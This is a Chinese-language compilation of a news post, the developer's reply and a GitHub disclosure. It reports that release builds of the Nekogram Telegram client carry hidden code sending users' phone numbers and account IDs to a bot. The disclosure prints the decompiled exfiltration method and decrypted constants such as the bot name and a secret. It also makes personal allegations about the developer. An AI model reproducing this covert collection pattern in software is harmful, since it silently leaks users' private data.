来源 : https://t.me/sotaproject/111209
非官方 Telegram 客户端 Nekogram 会将用户账户与其手机号码之间的关联信息传输给开发者。
一位分析了 Nekogram 代码的 IT 专家告诉 Sota,该客户端中存在一个后门:
“该后门隐藏在 Extra.java 文件中,该文件与上传到代码库的模板不同。混淆后的代码会将数据作为内联请求发送给 @nekonotificationbot 机器人,不留任何痕迹。该文件还通过多个机器人实现账户匹配:泄露的数据可能被用于填充这些机器人的数据库。”
此外,如果用户拥有多个账户,开发者还会收到账户之间的关联信息。
Nekogram 客户端的作者据推测是中国公民 方立业,他此前曾因 DDoS 攻击和不道德的网络行为(例如威胁杀害朋友)而臭名昭著。
在客户端的早期版本中,去匿名化仅应用于可能被用于政治监控的中国号码,但现在已应用于所有号码。
需要注意的是,另一个非官方的 Telegram 客户端“Telegram”使用 VK 服务器,这使得国家能够监控通信内容。
Telegram 本身现在也添加了一个选项,用于在用户联系人使用非官方即时通讯客户端时发出警告。
Nekogram 回应 : https://t.me/NekoUpdates/531
如果你的问题是“这是真的吗?”,答案是肯定的,确实有号码被发送给了机器人。但没有任何号码被存储或与任何人共享。
有些人要求“解释”,但你想要什么样的解释呢?它发送了你的电话号码,事情就是这样。
这两个开源情报机器人用于通过搜索ID来查找用户的用户名。我们不与它们合作,也不会填充它们的数据库。
感兴趣的朋友可以查看Extra.java的源代码。
github issues : https://github.com/Nekogram/Nekogram/issues/336
【间谍软件,恶意代码】发布二进制文件中的恶意代码注入和用户数据泄露
重现步骤
- 安装并登录您的 Telegram 帐户
- 现在你的电话号码属于习近平了……开玩笑啦。致Nekogram创作者
预期行为
不泄露电话号码
实际行为
发布二进制文件中的恶意代码注入和用户数据窃取
通过对通过此存储库分发的官方发布二进制文件*(.APK)* 以及README中的相关链接 (官方 Telegram 频道、网站和 Google Play) 进行逆向工程分析,我发现了一段恶意代码,该代码会在未经用户同意的情况下将用户的敏感数据(电话号码和关联的用户 ID)泄露给第三方 Telegram 机器人*(由应用程序所有者创建)* 。
注意:公共 GitHub 存储库中 缺少 此数据提取逻辑的源代码,这表明开发人员在发布构建过程中注入了恶意代码。
技术部分
使用任何 Java 反编译器 (我使用的是 JADX), 我们都可以看到发布版本经过了混淆处理。这并非什么大问题,因为 Telegram 的原始主代码是开源的。
在代码仓库中有一个Extra.java.example文件。它用于存储 APP_ID、APP_HASH 和其他应用程序敏感信息。
在发布版本中,该文件与原始源代码有所不同,添加了额外的代码,特别是defpackage.uo5.g() 方法(uo5 这是一个 Extra 类,但名称已被混淆)。
我正在展示一个来自最新版本的6a51ee4af00195cf9180e587a53645ae38f8edc5a4a66c1ba166119e8b1b38e5 Nekogram-12.5.2-6597-arm64-v8a.apk 文件
我修复了一些类、变量和方法名称,结果如下:
/* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */
public static void g() {
TLRPC.User currentUser;
String phoneNumber;
try {
if (isFunctionWasCalled) {
return;
}
isFunctionWasCalled = true;
HashMap mapWithAccounts = new HashMap();
for (int i2 = 0; i2 < 8; i2++) {
UserConfig userConfig = UserConfig.getInstance(i2);
if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.phoneNumber) != null) {
mapWithAccounts.put(String.valueOf(currentUser.userId), phoneNumber);
}
}
InlineBotHelper.getInstance(UserConfig.selectedAccount).Query(BotHelper, WS_CONN_HASH + classWithString.DecodeWithEncString(-7227028227871466228L) + BaseRemoteHelper.GSON.toJson(mapWithAccounts), new Utilities.b() { // from class: pi6
/* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */
@Override // org.telegram.messenger.Utilities.b
public final void a(Object obj, Object obj2) {
qi6.a((ArrayList) obj, (String) obj2);
}
});
} catch (Exception unused) {
}
}
我们可以看到:代码会遍历客户端登录的所有 Telegram 账号(最多 8 个账号),并构建一个 UserID → PhoneNumber 的 JSON 映射。
收集到的数据会以内联查询的形式发送给机器人处理程序。之所以使用这种方法,是因为它是静默的,不会出现在用户的聊天记录中。无需启动机器人即可使用。
- 目标机器人 :
@nekonotificationbot(ID1190800416) - 密钥 :
741ad28818eab17668bc2c70bd419fc25ff56481758a4ac87e7ca164fb6ae1b1 - 方法 :
InlineBotHelper.Query(...)
最终提取出的字符串如下所示:
741ad2...ae1b1{"123456789": "+79001234567", ...}
DecodeWithEncString 此外,我们还多次使用自定义解密工具(由混淆代码重写),可以揭示以下隐藏常量:
| ID | Decrypted Value | Context |
|---|---|---|
| -7227028090432512756 | 873ffaceba76e****4a3cdb49 | APP_HASH |
| -7227027407532712692 | 55***06 | APP_ID |
| -7227026067502916340 | nekonotificationbot | Main Exfiltration Bot |
| -7227026153402262260 | tgdb_search_bot | Mentioned OSINT Bot |
| -7227025642301154036 | usinfobot | Mentioned OSINT Bot |
| -7227027729655259892 | 741ad2…ae1b1 | Shared Secret / Hash |
g() 函数何时被调用?
一些视频证据和概念验证脚本(谢谢)@RomashkaTea)
由于 Google Play 版本也包含此恶意代码,因此务必举报,以便 Play Protect 可以标记并禁用所有用户设备上的应用。(谢谢)@RomashkaTea(用于确认)
Report a Policy Violation - Play Console Help - 应用下架页面
https://play.google.com/store/apps/details?id=tw.nekomimi.nekogram - Play 商店中的应用,您也可以在此处举报
如有任何意见,请提及此问题。
结论
Nekogram 客户端会在后台静默上传用户的私人数据(电话号码及其关联的用户 ID)@nekonotificationbot 。此行为经过高度混淆处理,并在应用程序正常运行期间自动触发。
致谢
https://t.me/pvxblog/3746
https://t.me/sotaproject/111209
https://t.me/pvxblog/3746?comment=397889
https://t.me/NekoChat/619146 - claude 代码 aahhh 攻略
https://t.me/pvxblog/3746?comment=397816(用于反混淆隐藏常量的代码)
https://t.me/NekoChat - Nekogram 聊天
Nekogram 版本
12.5.2 版本,可能旧版本的二进制文件也受到影响。
安卓版本
任何





